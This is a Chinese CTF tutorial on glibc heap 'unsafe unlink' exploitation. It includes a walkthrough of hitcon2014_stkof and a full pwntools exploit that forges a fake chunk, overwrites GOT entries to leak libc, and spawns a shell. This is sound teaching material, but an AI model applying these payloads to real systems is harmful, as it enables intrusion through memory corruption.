unlink快速入门

0x01 正常unlink

当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。

  1. 根据p的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
  2. 设置FD->bk=BK
  3. 设置BK->fd=FD

在这里插入图片描述
下面看一下unlink的源码。

#安装源码
apt install glibc-source
#下面目录下有一个glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷贝到understand中进行源码阅读

size检查
第一个要检查的是需要解链bin的size。在堆中有两个地方存储了p的size。第一个是当前p->size。第二个是next_chunk§->prev_size。比较两个大小。
fd和bk检查
检查p是否在双向链表中。在双向链表中有两个指针指向p。第一个是FD->bk,第二个是BK->fd。

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
	//第一个检查
    if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;								      \
    BK = P->bk;								      \
    //第二个检查
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {
    
    								      \
    	//完成上图的unlink过程
    	//具体过程可以看源码
      }									      \
}

0x02 利用思路

要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。

1.第一种利用思路

利用条件

  1. 存在UAF可以修改p的fd和bk
  2. 存在一个指针指向p

利用方法

  1. 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
  2. free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
在这里插入图片描述

2.第二种方法思路

这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。

利用条件

  1. 可以修改p的下一个chunk->pre_size和inuse位
  2. 存在一个指针指向chunk p的内容部分

利用方法

扫描二维码关注公众号,回复: 12097241 查看本文章
  1. 伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
  2. 修改下一个chunk的prev_size=chunksize§-0x10。因为fakechunk比chunk0小0x10。
  3. 修改下一个chunk的inuse位。
  4. free下一个堆块chunk1。fakechunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。

效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。
在这里插入图片描述

0x03 例题 hitcon2014_stkof

1.查看程序保护

可以修改GOT表,没有PIE,很好。
在这里插入图片描述
试运行,没有输出。
在这里插入图片描述

2.查看程序

菜单题只是没有把菜单打印出来。1是add。2是edit。3是free。4是todo没有实际用途
在这里插入图片描述
add函数
add就是正常的add

  1. 读入size
  2. malloc对应的size
  3. 0x602100记录的是已经申请的note数量
  4. 0x602140是heaparray指针数组

在这里插入图片描述
edit函数
没有验证输入的size大小,存在heap overflow

  1. 输入index
  2. 输入size
  3. 输入content

在这里插入图片描述
delete函数

  1. 将堆块释放
  2. 将数组置0
    在这里插入图片描述

3.利用方法

这里正好满足第二种利用思路,bss段存在G_ptr指向堆的内容,且能修改下一个堆块的prev_size和inuse位。

  1. 构造fakechunk来unlink使bss段中的堆指针指向附近
  2. 利用edit函数,修改函数指针指向free_got
  3. 修改free_got为put_plt,之后再调用free时就会输出指针指向的内容来泄露libc地址
  4. 将free_got改为system地址
  5. 调用free函数释放掉内容为"/bin/sh"的堆块来getshell

这里还有一个问题就是缓冲区的问题。题目并没有setbuf,所以IO缓冲区会在程序运行的时候在堆中进行申请。我们先连续创建3个0x20大小的chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布,所以第一个堆块不能用来做fakechunk。

在这里插入图片描述
创建堆块

idx1用来解决IO缓存的问题
idx2用来构造fakechunk和idx3来unlink
idx4用来防止和top chunk和并

head = 0x602140 #堆指针数组
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

构造完成的堆空间分布
在这里插入图片描述
0x602100存储了note数量
0x602140存储了指针数组,索引从1开始
在这里插入图片描述
构造fakechunk

如下图,黄框为构造的fakechunk

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

在这里插入图片描述
unlink

释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的

在这里插入图片描述
leak libc

将heaparray[1]指针覆盖为free_got,heaparray[2]指针覆盖为puts_got

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

在这里插入图片描述
将free_got的值覆盖为puts_plt。下次调用free时实际调用的是puts

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#实际调用的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

在这里插入图片描述
getshell
修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell。

payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()

在这里插入图片描述

4.exp

from pwn import *
context.arch = 'amd64'
debug = 1

if debug:
	context.log_level='debug'
	context.terminal = ['terminator','-x','sh','-c']
	p = process('./stkof')
	elf = ELF('./stkof')
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
	p = remote('node3.buuoj.cn',28755)
	elf = ELF('./stkof')
	libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')

def add(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10


add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)

free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)

p.recvuntil('OK\n')

puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))

payload4 = p64(system_addr)
edit(1, payload4)

edit(4, '/bin/sh\x00')
free(4)

p.interactive()

0x04 总结

  1. 当free时(不是fastbin)如果前面或者后面的chunk是空闲的,则会发生合并
  2. 如果此时存在G_ptr指向前面的chunk,并且存在覆盖的话可能存在unsafe_unlink

1.创造fakechunk,这里针对64位

presize=0
size= 原来size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10

2.覆盖下一个chunk

presize = 原pre_size-0x10
size从0x91改为0x90

3.触发unlink

free(chunk1)
chunk1会和前面的chunk0进行合并,断链
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18 

参考链接:ctfwiki unlink

猜你喜欢

转载自blog.csdn.net/abel_big_xu/article/details/109632899
今日推荐